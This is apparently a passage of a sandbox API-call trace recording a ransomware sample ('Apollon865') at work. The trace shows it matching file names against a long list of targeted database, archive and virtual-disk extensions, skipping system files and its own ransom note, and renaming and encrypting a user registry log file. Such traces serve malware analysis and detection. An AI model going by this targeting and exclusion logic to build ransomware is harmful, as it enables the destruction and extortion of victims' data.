	[0046.945] lstrcmpiW (lpString1="LOG", lpString2="myd") returned -1
	[0046.945] lstrlenW (lpString="ndf") returned 3
	[0046.945] lstrcmpiW (lpString1="LOG", lpString2="ndf") returned -1
	[0046.945] lstrlenW (lpString="nnt") returned 3
	[0046.945] lstrcmpiW (lpString1="LOG", lpString2="nnt") returned -1
	[0046.945] lstrlenW (lpString="nrmlib") returned 6
	[0046.945] lstrcmpiW (lpString1="AT.LOG", lpString2="nrmlib") returned -1
	[0046.945] lstrlenW (lpString="ns2") returned 3
	[0046.945] lstrcmpiW (lpString1="LOG", lpString2="ns2") returned -1
	[0046.945] lstrlenW (lpString="ns3") returned 3
	[0046.946] lstrcmpiW (lpString1="LOG", lpString2="ns3") returned -1
	[0046.946] lstrlenW (lpString="ns4") returned 3
	[0046.946] lstrcmpiW (lpString1="LOG", lpString2="ns4") returned -1
	[0046.946] lstrlenW (lpString="nsf") returned 3
	[0046.946] lstrcmpiW (lpString1="LOG", lpString2="nsf") returned -1
	[0046.946] lstrlenW (lpString="nv") returned 2
	[0046.946] lstrcmpiW (lpString1="OG", lpString2="nv") returned 1
	[0046.946] lstrlenW (lpString="nv2") returned 3
	[0046.946] lstrcmpiW (lpString1="LOG", lpString2="nv2") returned -1
	[0046.946] lstrlenW (lpString="nwdb") returned 4
	[0046.946] lstrcmpiW (lpString1=".LOG", lpString2="nwdb") returned -1
	[0046.946] lstrlenW (lpString="nyf") returned 3
	[0046.946] lstrcmpiW (lpString1="LOG", lpString2="nyf") returned -1
	[0046.946] lstrlenW (lpString="odb") returned 3
	[0046.946] lstrcmpiW (lpString1="LOG", lpString2="odb") returned -1
	[0046.946] lstrlenW (lpString="odb") returned 3
	[0046.946] lstrcmpiW (lpString1="LOG", lpString2="odb") returned -1
	[0046.946] lstrlenW (lpString="oqy") returned 3
	[0046.946] lstrcmpiW (lpString1="LOG", lpString2="oqy") returned -1
	[0046.946] lstrlenW (lpString="ora") returned 3
	[0046.946] lstrcmpiW (lpString1="LOG", lpString2="ora") returned -1
	[0046.946] lstrlenW (lpString="orx") returned 3
	[0046.946] lstrcmpiW (lpString1="LOG", lpString2="orx") returned -1
	[0046.946] lstrlenW (lpString="owc") returned 3
	[0046.946] lstrcmpiW (lpString1="LOG", lpString2="owc") returned -1
	[0046.946] lstrlenW (lpString="p96") returned 3
	[0046.946] lstrcmpiW (lpString1="LOG", lpString2="p96") returned -1
	[0046.946] lstrlenW (lpString="p97") returned 3
	[0046.946] lstrcmpiW (lpString1="LOG", lpString2="p97") returned -1
	[0046.946] lstrlenW (lpString="pan") returned 3
	[0046.946] lstrcmpiW (lpString1="LOG", lpString2="pan") returned -1
	[0046.946] lstrlenW (lpString="pdb") returned 3
	[0046.946] lstrcmpiW (lpString1="LOG", lpString2="pdb") returned -1
	[0046.946] lstrlenW (lpString="pdm") returned 3
	[0046.947] lstrcmpiW (lpString1="LOG", lpString2="pdm") returned -1
	[0046.947] lstrlenW (lpString="pnz") returned 3
	[0046.947] lstrcmpiW (lpString1="LOG", lpString2="pnz") returned -1
	[0046.947] lstrlenW (lpString="qry") returned 3
	[0046.947] lstrcmpiW (lpString1="LOG", lpString2="qry") returned -1
	[0046.947] lstrlenW (lpString="qvd") returned 3
	[0046.947] lstrcmpiW (lpString1="LOG", lpString2="qvd") returned -1
	[0046.947] lstrlenW (lpString="rbf") returned 3
	[0046.947] lstrcmpiW (lpString1="LOG", lpString2="rbf") returned -1
	[0046.947] lstrlenW (lpString="rctd") returned 4
	[0046.947] lstrcmpiW (lpString1=".LOG", lpString2="rctd") returned -1
	[0046.947] lstrlenW (lpString="rod") returned 3
	[0046.947] lstrcmpiW (lpString1="LOG", lpString2="rod") returned -1
	[0046.947] lstrlenW (lpString="rodx") returned 4
	[0046.947] lstrcmpiW (lpString1=".LOG", lpString2="rodx") returned -1
	[0046.947] lstrlenW (lpString="rpd") returned 3
	[0046.947] lstrcmpiW (lpString1="LOG", lpString2="rpd") returned -1
	[0046.947] lstrlenW (lpString="rsd") returned 3
	[0046.947] lstrcmpiW (lpString1="LOG", lpString2="rsd") returned -1
	[0046.947] lstrlenW (lpString="sas7bdat") returned 8
	[0046.947] lstrcmpiW (lpString1=".DAT.LOG", lpString2="sas7bdat") returned -1
	[0046.947] lstrlenW (lpString="sbf") returned 3
	[0046.947] lstrcmpiW (lpString1="LOG", lpString2="sbf") returned -1
	[0046.947] lstrlenW (lpString="scx") returned 3
	[0046.947] lstrcmpiW (lpString1="LOG", lpString2="scx") returned -1
	[0046.947] lstrlenW (lpString="sdb") returned 3
	[0046.947] lstrcmpiW (lpString1="LOG", lpString2="sdb") returned -1
	[0046.947] lstrlenW (lpString="sdc") returned 3
	[0046.947] lstrcmpiW (lpString1="LOG", lpString2="sdc") returned -1
	[0046.947] lstrlenW (lpString="sdf") returned 3
	[0046.947] lstrcmpiW (lpString1="LOG", lpString2="sdf") returned -1
	[0046.947] lstrlenW (lpString="sis") returned 3
	[0046.947] lstrcmpiW (lpString1="LOG", lpString2="sis") returned -1
	[0046.947] lstrlenW (lpString="spq") returned 3
	[0046.947] lstrcmpiW (lpString1="LOG", lpString2="spq") returned -1
	[0046.948] lstrlenW (lpString="te") returned 2
	[0046.948] lstrcmpiW (lpString1="OG", lpString2="te") returned -1
	[0046.948] lstrlenW (lpString="teacher") returned 7
	[0046.948] lstrcmpiW (lpString1="DAT.LOG", lpString2="teacher") returned -1
	[0046.948] lstrlenW (lpString="tmd") returned 3
	[0046.948] lstrcmpiW (lpString1="LOG", lpString2="tmd") returned -1
	[0046.948] lstrlenW (lpString="tps") returned 3
	[0046.948] lstrcmpiW (lpString1="LOG", lpString2="tps") returned -1
	[0046.948] lstrlenW (lpString="trc") returned 3
	[0046.948] lstrcmpiW (lpString1="LOG", lpString2="trc") returned -1
	[0046.948] lstrlenW (lpString="trc") returned 3
	[0046.948] lstrcmpiW (lpString1="LOG", lpString2="trc") returned -1
	[0046.948] lstrlenW (lpString="trm") returned 3
	[0046.948] lstrcmpiW (lpString1="LOG", lpString2="trm") returned -1
	[0046.948] lstrlenW (lpString="udb") returned 3
	[0046.948] lstrcmpiW (lpString1="LOG", lpString2="udb") returned -1
	[0046.948] lstrlenW (lpString="udl") returned 3
	[0046.948] lstrcmpiW (lpString1="LOG", lpString2="udl") returned -1
	[0046.948] lstrlenW (lpString="usr") returned 3
	[0046.948] lstrcmpiW (lpString1="LOG", lpString2="usr") returned -1
	[0046.948] lstrlenW (lpString="v12") returned 3
	[0046.948] lstrcmpiW (lpString1="LOG", lpString2="v12") returned -1
	[0046.948] lstrlenW (lpString="vis") returned 3
	[0046.948] lstrcmpiW (lpString1="LOG", lpString2="vis") returned -1
	[0046.948] lstrlenW (lpString="vpd") returned 3
	[0046.948] lstrcmpiW (lpString1="LOG", lpString2="vpd") returned -1
	[0046.948] lstrlenW (lpString="vvv") returned 3
	[0046.948] lstrcmpiW (lpString1="LOG", lpString2="vvv") returned -1
	[0046.948] lstrlenW (lpString="wdb") returned 3
	[0046.948] lstrcmpiW (lpString1="LOG", lpString2="wdb") returned -1
	[0046.948] lstrlenW (lpString="wmdb") returned 4
	[0046.948] lstrcmpiW (lpString1=".LOG", lpString2="wmdb") returned -1
	[0046.948] lstrlenW (lpString="wrk") returned 3
	[0046.948] lstrcmpiW (lpString1="LOG", lpString2="wrk") returned -1
	[0046.948] lstrlenW (lpString="xdb") returned 3
	[0046.949] lstrcmpiW (lpString1="LOG", lpString2="xdb") returned -1
	[0046.949] lstrlenW (lpString="xld") returned 3
	[0046.949] lstrcmpiW (lpString1="LOG", lpString2="xld") returned -1
	[0046.949] lstrlenW (lpString="xmlff") returned 5
	[0046.949] lstrcmpiW (lpString1="T.LOG", lpString2="xmlff") returned -1
	[0046.949] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\NTUSER.DAT.LOG.Apollon865") returned 42
	[0046.949] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT.LOG" (normalized: "c:\\users\\default\\ntuser.dat.log"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT.LOG.Apollon865" (normalized: "c:\\users\\default\\ntuser.dat.log.apollon865"), dwFlags=0x1) returned 1
	[0046.949] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG.Apollon865" (normalized: "c:\\users\\default\\ntuser.dat.log.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0046.950] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1024) returned 1
	[0046.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0046.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0046.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0046.950] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf788) returned 1
	[0046.951] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0046.951] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.951] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x700, lpName=0x0) returned 0x160
	[0046.956] MapViewOfFile (hFileMappingObject=0x160, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x700) returned 0x100000
	[0046.957] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf788) returned 1
	[0046.958] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0046.958] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0046.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0046.958] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0046.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0046.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0046.958] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0046.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0046.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5aa3c8
	[0046.958] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0046.958] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0046.958] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0046.958] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0046.958] CloseHandle (hObject=0x160) returned 1
	[0046.958] CloseHandle (hObject=0x15c) returned 1
	[0046.958] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0046.958] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0046.959] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0046.959] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x674ac80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2e400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1
	[0046.959] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.959] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="Apollon865.txt.exe") returned 1
	[0046.959] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2=".") returned 1
	[0046.959] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="..") returned 1
	[0046.959] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="windows") returned -1
	[0046.959] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="bootmgr") returned 1
	[0046.959] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="temp") returned -1
	[0046.959] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="pagefile.sys") returned -1
	[0046.959] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="boot") returned 1
	[0046.959] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="ids.txt") returned 1
	[0046.959] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="ntuser.dat") returned 1
	[0046.959] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="perflogs") returned -1
	[0046.959] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2="MSBuild") returned 1
	[0046.959] lstrlenW (lpString="NTUSER.DAT.LOG1") returned 15
	[0046.959] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT.LOG") returned 31
	[0046.959] lstrcpyW (in: lpString1=0x119e62a, lpString2="NTUSER.DAT.LOG1" | out: lpString1="NTUSER.DAT.LOG1") returned="NTUSER.DAT.LOG1"
	[0046.959] lstrlenW (lpString="NTUSER.DAT.LOG1") returned 15
	[0046.959] lstrlenW (lpString="Apollon865") returned 10
	[0046.959] lstrcmpiW (lpString1="R.DAT.LOG1", lpString2="Apollon865") returned 1
	[0046.959] lstrlenW (lpString=".dll") returned 4
	[0046.959] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2=".dll") returned 1
	[0046.959] lstrlenW (lpString=".lnk") returned 4
	[0046.959] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2=".lnk") returned 1
	[0046.959] lstrlenW (lpString=".ini") returned 4
	[0046.959] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2=".ini") returned 1
	[0046.959] lstrlenW (lpString=".sys") returned 4
	[0046.959] lstrcmpiW (lpString1="NTUSER.DAT.LOG1", lpString2=".sys") returned 1
	[0046.960] lstrlenW (lpString="NTUSER.DAT.LOG1") returned 15
	[0046.960] lstrlenW (lpString="bak") returned 3
	[0046.960] lstrcmpiW (lpString1="OG1", lpString2="bak") returned 1
	[0046.960] lstrlenW (lpString="ba_") returned 3
	[0046.960] lstrcmpiW (lpString1="OG1", lpString2="ba_") returned 1
	[0046.960] lstrlenW (lpString="dbb") returned 3
	[0046.960] lstrcmpiW (lpString1="OG1", lpString2="dbb") returned 1
	[0046.960] lstrlenW (lpString="vmdk") returned 4
	[0046.960] lstrcmpiW (lpString1="LOG1", lpString2="vmdk") returned -1
	[0046.960] lstrlenW (lpString="rar") returned 3
	[0046.960] lstrcmpiW (lpString1="OG1", lpString2="rar") returned -1
	[0046.960] lstrlenW (lpString="zip") returned 3
	[0046.960] lstrcmpiW (lpString1="OG1", lpString2="zip") returned -1
	[0046.960] lstrlenW (lpString="tgz") returned 3
	[0046.960] lstrcmpiW (lpString1="OG1", lpString2="tgz") returned -1
	[0046.960] lstrlenW (lpString="vbox") returned 4
	[0046.960] lstrcmpiW (lpString1="LOG1", lpString2="vbox") returned -1
	[0046.960] lstrlenW (lpString="vdi") returned 3
	[0046.960] lstrcmpiW (lpString1="OG1", lpString2="vdi") returned -1
	[0046.960] lstrlenW (lpString="vhd") returned 3
	[0046.960] lstrcmpiW (lpString1="OG1", lpString2="vhd") returned -1
	[0046.960] lstrlenW (lpString="vhdx") returned 4
	[0046.960] lstrcmpiW (lpString1="LOG1", lpString2="vhdx") returned -1
	[0046.960] lstrlenW (lpString="avhd") returned 4
	[0046.960] lstrcmpiW (lpString1="LOG1", lpString2="avhd") returned 1
	[0046.960] lstrlenW (lpString="db") returned 2
	[0046.960] lstrcmpiW (lpString1="G1", lpString2="db") returned 1
	[0046.960] lstrlenW (lpString="db2") returned 3
	[0046.960] lstrcmpiW (lpString1="OG1", lpString2="db2") returned 1
	[0046.960] lstrlenW (lpString="db3") returned 3
	[0046.960] lstrcmpiW (lpString1="OG1", lpString2="db3") returned 1
	[0046.960] lstrlenW (lpString="dbf") returned 3
	[0046.960] lstrcmpiW (lpString1="OG1", lpString2="dbf") returned 1
	[0046.960] lstrlenW (lpString="mdf") returned 3
	[0046.960] lstrcmpiW (lpString1="OG1", lpString2="mdf") returned 1
	[0046.961] lstrlenW (lpString="mdb") returned 3
	[0046.961] lstrcmpiW (lpString1="OG1", lpString2="mdb") returned 1
	[0046.961] lstrlenW (lpString="sql") returned 3
	[0046.961] lstrcmpiW (lpString1="OG1", lpString2="sql") returned -1
	[0046.961] lstrlenW (lpString="sqlite") returned 6
	[0046.961] lstrcmpiW (lpString1="T.LOG1", lpString2="sqlite") returned 1
	[0046.961] lstrlenW (lpString="sqlite3") returned 7
	[0046.961] lstrcmpiW (lpString1="AT.LOG1", lpString2="sqlite3") returned -1
	[0046.961] lstrlenW (lpString="sqlitedb") returned 8
	[0046.961] lstrcmpiW (lpString1="DAT.LOG1", lpString2="sqlitedb") returned -1
	[0046.961] lstrlenW (lpString="xml") returned 3
	[0046.961] lstrcmpiW (lpString1="OG1", lpString2="xml") returned -1
	[0046.961] lstrlenW (lpString="$er") returned 3
	[0046.961] lstrcmpiW (lpString1="OG1", lpString2="$er") returned 1
	[0046.961] lstrlenW (lpString="4dd") returned 3
	[0046.961] lstrcmpiW (lpString1="OG1", lpString2="4dd") returned 1
	[0046.961] lstrlenW (lpString="4dl") returned 3
	[0046.961] lstrcmpiW (lpString1="OG1", lpString2="4dl") returned 1
	[0046.961] lstrlenW (lpString="^^^") returned 3
	[0046.961] lstrcmpiW (lpString1="OG1", lpString2="^^^") returned 1
	[0046.961] lstrlenW (lpString="abs") returned 3
	[0046.961] lstrcmpiW (lpString1="OG1", lpString2="abs") returned 1
	[0046.961] lstrlenW (lpString="abx") returned 3
	[0046.961] lstrcmpiW (lpString1="OG1", lpString2="abx") returned 1
	[0046.961] lstrlenW (lpString="accdb") returned 5
	[0046.961] lstrcmpiW (lpString1=".LOG1", lpString2="accdb") returned -1
	[0046.961] lstrlenW (lpString="accdc") returned 5
	[0046.961] lstrcmpiW (lpString1=".LOG1", lpString2="accdc") returned -1
	[0046.961] lstrlenW (lpString="accde") returned 5
	[0046.961] lstrcmpiW (lpString1=".LOG1", lpString2="accde") returned -1
	[0046.961] lstrlenW (lpString="accdr") returned 5
	[0046.961] lstrcmpiW (lpString1=".LOG1", lpString2="accdr") returned -1
	[0046.961] lstrlenW (lpString="accdt") returned 5
	[0046.962] lstrcmpiW (lpString1=".LOG1", lpString2="accdt") returned -1
	[0046.962] lstrlenW (lpString="accdw") returned 5
	[0046.962] lstrcmpiW (lpString1=".LOG1", lpString2="accdw") returned -1
	[0046.962] lstrlenW (lpString="accft") returned 5
	[0046.962] lstrcmpiW (lpString1=".LOG1", lpString2="accft") returned -1
	[0046.962] lstrlenW (lpString="adb") returned 3
	[0046.962] lstrcmpiW (lpString1="OG1", lpString2="adb") returned 1
	[0046.962] lstrlenW (lpString="adb") returned 3
	[0046.962] lstrcmpiW (lpString1="OG1", lpString2="adb") returned 1
	[0046.962] lstrlenW (lpString="ade") returned 3
	[0046.962] lstrcmpiW (lpString1="OG1", lpString2="ade") returned 1
	[0046.962] lstrlenW (lpString="adf") returned 3
	[0046.962] lstrcmpiW (lpString1="OG1", lpString2="adf") returned 1
	[0046.962] lstrlenW (lpString="adn") returned 3
	[0046.962] lstrcmpiW (lpString1="OG1", lpString2="adn") returned 1
	[0046.962] lstrlenW (lpString="adp") returned 3
	[0046.962] lstrcmpiW (lpString1="OG1", lpString2="adp") returned 1
	[0046.962] lstrlenW (lpString="alf") returned 3
	[0046.962] lstrcmpiW (lpString1="OG1", lpString2="alf") returned 1
	[0046.962] lstrlenW (lpString="ask") returned 3
	[0046.962] lstrcmpiW (lpString1="OG1", lpString2="ask") returned 1
	[0046.962] lstrlenW (lpString="btr") returned 3
	[0046.962] lstrcmpiW (lpString1="OG1", lpString2="btr") returned 1
	[0046.962] lstrlenW (lpString="cat") returned 3
	[0046.962] lstrcmpiW (lpString1="OG1", lpString2="cat") returned 1
	[0046.962] lstrlenW (lpString="cdb") returned 3
	[0046.962] lstrcmpiW (lpString1="OG1", lpString2="cdb") returned 1
	[0046.962] lstrlenW (lpString="ckp") returned 3
	[0046.962] lstrcmpiW (lpString1="OG1", lpString2="ckp") returned 1
	[0046.962] lstrlenW (lpString="cma") returned 3
	[0046.962] lstrcmpiW (lpString1="OG1", lpString2="cma") returned 1
	[0046.962] lstrlenW (lpString="cpd") returned 3
	[0046.962] lstrcmpiW (lpString1="OG1", lpString2="cpd") returned 1
	[0046.962] lstrlenW (lpString="dacpac") returned 6
	[0046.963] lstrcmpiW (lpString1="T.LOG1", lpString2="dacpac") returned 1
	[0046.963] lstrlenW (lpString="dad") returned 3
	[0046.963] lstrcmpiW (lpString1="OG1", lpString2="dad") returned 1
	[0046.963] lstrlenW (lpString="dadiagrams") returned 10
	[0046.963] lstrcmpiW (lpString1="R.DAT.LOG1", lpString2="dadiagrams") returned 1
	[0046.963] lstrlenW (lpString="daschema") returned 8
	[0046.963] lstrcmpiW (lpString1="DAT.LOG1", lpString2="daschema") returned 1
	[0046.963] lstrlenW (lpString="db-journal") returned 10
	[0046.963] lstrcmpiW (lpString1="R.DAT.LOG1", lpString2="db-journal") returned 1
	[0046.963] lstrlenW (lpString="db-shm") returned 6
	[0046.963] lstrcmpiW (lpString1="T.LOG1", lpString2="db-shm") returned 1
	[0046.963] lstrlenW (lpString="db-wal") returned 6
	[0046.963] lstrcmpiW (lpString1="T.LOG1", lpString2="db-wal") returned 1
	[0046.963] lstrlenW (lpString="dbc") returned 3
	[0046.963] lstrcmpiW (lpString1="OG1", lpString2="dbc") returned 1
	[0046.963] lstrlenW (lpString="dbs") returned 3
	[0046.963] lstrcmpiW (lpString1="OG1", lpString2="dbs") returned 1
	[0046.963] lstrlenW (lpString="dbt") returned 3
	[0046.963] lstrcmpiW (lpString1="OG1", lpString2="dbt") returned 1
	[0046.963] lstrlenW (lpString="dbv") returned 3
	[0046.963] lstrcmpiW (lpString1="OG1", lpString2="dbv") returned 1
	[0046.963] lstrlenW (lpString="dbx") returned 3
	[0046.963] lstrcmpiW (lpString1="OG1", lpString2="dbx") returned 1
	[0046.963] lstrlenW (lpString="dcb") returned 3
	[0046.963] lstrcmpiW (lpString1="OG1", lpString2="dcb") returned 1
	[0046.963] lstrlenW (lpString="dct") returned 3
	[0046.963] lstrcmpiW (lpString1="OG1", lpString2="dct") returned 1
	[0046.963] lstrlenW (lpString="dcx") returned 3
	[0046.963] lstrcmpiW (lpString1="OG1", lpString2="dcx") returned 1
	[0046.963] lstrlenW (lpString="ddl") returned 3
	[0046.963] lstrcmpiW (lpString1="OG1", lpString2="ddl") returned 1
	[0046.963] lstrlenW (lpString="dlis") returned 4
	[0046.963] lstrcmpiW (lpString1="LOG1", lpString2="dlis") returned 1
	[0046.963] lstrlenW (lpString="dp1") returned 3
	[0046.963] lstrcmpiW (lpString1="OG1", lpString2="dp1") returned 1
	[0046.964] lstrlenW (lpString="dqy") returned 3
	[0046.964] lstrcmpiW (lpString1="OG1", lpString2="dqy") returned 1
	[0046.964] lstrlenW (lpString="dsk") returned 3
	[0046.964] lstrcmpiW (lpString1="OG1", lpString2="dsk") returned 1
	[0046.964] lstrlenW (lpString="dsn") returned 3
	[0046.964] lstrcmpiW (lpString1="OG1", lpString2="dsn") returned 1
	[0046.964] lstrlenW (lpString="dtsx") returned 4
	[0046.964] lstrcmpiW (lpString1="LOG1", lpString2="dtsx") returned 1
	[0046.964] lstrlenW (lpString="dxl") returned 3
	[0046.964] lstrcmpiW (lpString1="OG1", lpString2="dxl") returned 1
	[0046.964] lstrlenW (lpString="eco") returned 3
	[0046.964] lstrcmpiW (lpString1="OG1", lpString2="eco") returned 1
	[0046.964] lstrlenW (lpString="ecx") returned 3
	[0046.964] lstrcmpiW (lpString1="OG1", lpString2="ecx") returned 1
	[0046.964] lstrlenW (lpString="edb") returned 3
	[0046.964] lstrcmpiW (lpString1="OG1", lpString2="edb") returned 1
	[0046.964] lstrlenW (lpString="epim") returned 4
	[0046.964] lstrcmpiW (lpString1="LOG1", lpString2="epim") returned 1
	[0046.964] lstrlenW (lpString="fcd") returned 3
	[0046.964] lstrcmpiW (lpString1="OG1", lpString2="fcd") returned 1
	[0046.964] lstrlenW (lpString="fdb") returned 3
	[0046.964] lstrcmpiW (lpString1="OG1", lpString2="fdb") returned 1
	[0046.964] lstrlenW (lpString="fic") returned 3
	[0046.964] lstrcmpiW (lpString1="OG1", lpString2="fic") returned 1
	[0046.964] lstrlenW (lpString="flexolibrary") returned 12
	[0046.964] lstrcmpiW (lpString1="SER.DAT.LOG1", lpString2="flexolibrary") returned 1
	[0046.964] lstrlenW (lpString="fm5") returned 3
	[0046.964] lstrcmpiW (lpString1="OG1", lpString2="fm5") returned 1
	[0046.964] lstrlenW (lpString="fmp") returned 3
	[0046.964] lstrcmpiW (lpString1="OG1", lpString2="fmp") returned 1
	[0046.964] lstrlenW (lpString="fmp12") returned 5
	[0046.964] lstrcmpiW (lpString1=".LOG1", lpString2="fmp12") returned -1
	[0046.964] lstrlenW (lpString="fmpsl") returned 5
	[0046.965] lstrcmpiW (lpString1=".LOG1", lpString2="fmpsl") returned -1
	[0046.965] lstrlenW (lpString="fol") returned 3
	[0046.965] lstrcmpiW (lpString1="OG1", lpString2="fol") returned 1
	[0046.965] lstrlenW (lpString="fp3") returned 3
	[0046.965] lstrcmpiW (lpString1="OG1", lpString2="fp3") returned 1
	[0046.965] lstrlenW (lpString="fp4") returned 3
	[0046.965] lstrcmpiW (lpString1="OG1", lpString2="fp4") returned 1
	[0046.965] lstrlenW (lpString="fp5") returned 3
	[0046.965] lstrcmpiW (lpString1="OG1", lpString2="fp5") returned 1
	[0046.965] lstrlenW (lpString="fp7") returned 3
	[0046.965] lstrcmpiW (lpString1="OG1", lpString2="fp7") returned 1
	[0046.965] lstrlenW (lpString="fpt") returned 3
	[0046.965] lstrcmpiW (lpString1="OG1", lpString2="fpt") returned 1
	[0046.965] lstrlenW (lpString="frm") returned 3
	[0046.965] lstrcmpiW (lpString1="OG1", lpString2="frm") returned 1
	[0046.965] lstrlenW (lpString="gdb") returned 3
	[0046.965] lstrcmpiW (lpString1="OG1", lpString2="gdb") returned 1
	[0046.965] lstrlenW (lpString="gdb") returned 3
	[0046.965] lstrcmpiW (lpString1="OG1", lpString2="gdb") returned 1
	[0046.965] lstrlenW (lpString="grdb") returned 4
	[0046.965] lstrcmpiW (lpString1="LOG1", lpString2="grdb") returned 1
	[0046.965] lstrlenW (lpString="gwi") returned 3
	[0046.965] lstrcmpiW (lpString1="OG1", lpString2="gwi") returned 1
	[0046.965] lstrlenW (lpString="hdb") returned 3
	[0046.965] lstrcmpiW (lpString1="OG1", lpString2="hdb") returned 1
	[0046.965] lstrlenW (lpString="his") returned 3
	[0046.965] lstrcmpiW (lpString1="OG1", lpString2="his") returned 1
	[0046.965] lstrlenW (lpString="ib") returned 2
	[0046.965] lstrcmpiW (lpString1="G1", lpString2="ib") returned -1
	[0046.965] lstrlenW (lpString="idb") returned 3
	[0046.965] lstrcmpiW (lpString1="OG1", lpString2="idb") returned 1
	[0046.965] lstrlenW (lpString="ihx") returned 3
	[0046.965] lstrcmpiW (lpString1="OG1", lpString2="ihx") returned 1
	[0046.966] lstrlenW (lpString="itdb") returned 4
	[0046.966] lstrcmpiW (lpString1="LOG1", lpString2="itdb") returned 1
	[0046.966] lstrlenW (lpString="itw") returned 3
	[0046.966] lstrcmpiW (lpString1="OG1", lpString2="itw") returned 1
	[0046.966] lstrlenW (lpString="jet") returned 3
	[0046.966] lstrcmpiW (lpString1="OG1", lpString2="jet") returned 1
	[0046.966] lstrlenW (lpString="jtx") returned 3
	[0046.966] lstrcmpiW (lpString1="OG1", lpString2="jtx") returned 1
	[0046.966] lstrlenW (lpString="kdb") returned 3
	[0046.966] lstrcmpiW (lpString1="OG1", lpString2="kdb") returned 1
	[0046.966] lstrlenW (lpString="kexi") returned 4
	[0046.966] lstrcmpiW (lpString1="LOG1", lpString2="kexi") returned 1
	[0046.966] lstrlenW (lpString="kexic") returned 5
	[0046.966] lstrcmpiW (lpString1=".LOG1", lpString2="kexic") returned -1
	[0046.966] lstrlenW (lpString="kexis") returned 5
	[0046.966] lstrcmpiW (lpString1=".LOG1", lpString2="kexis") returned -1
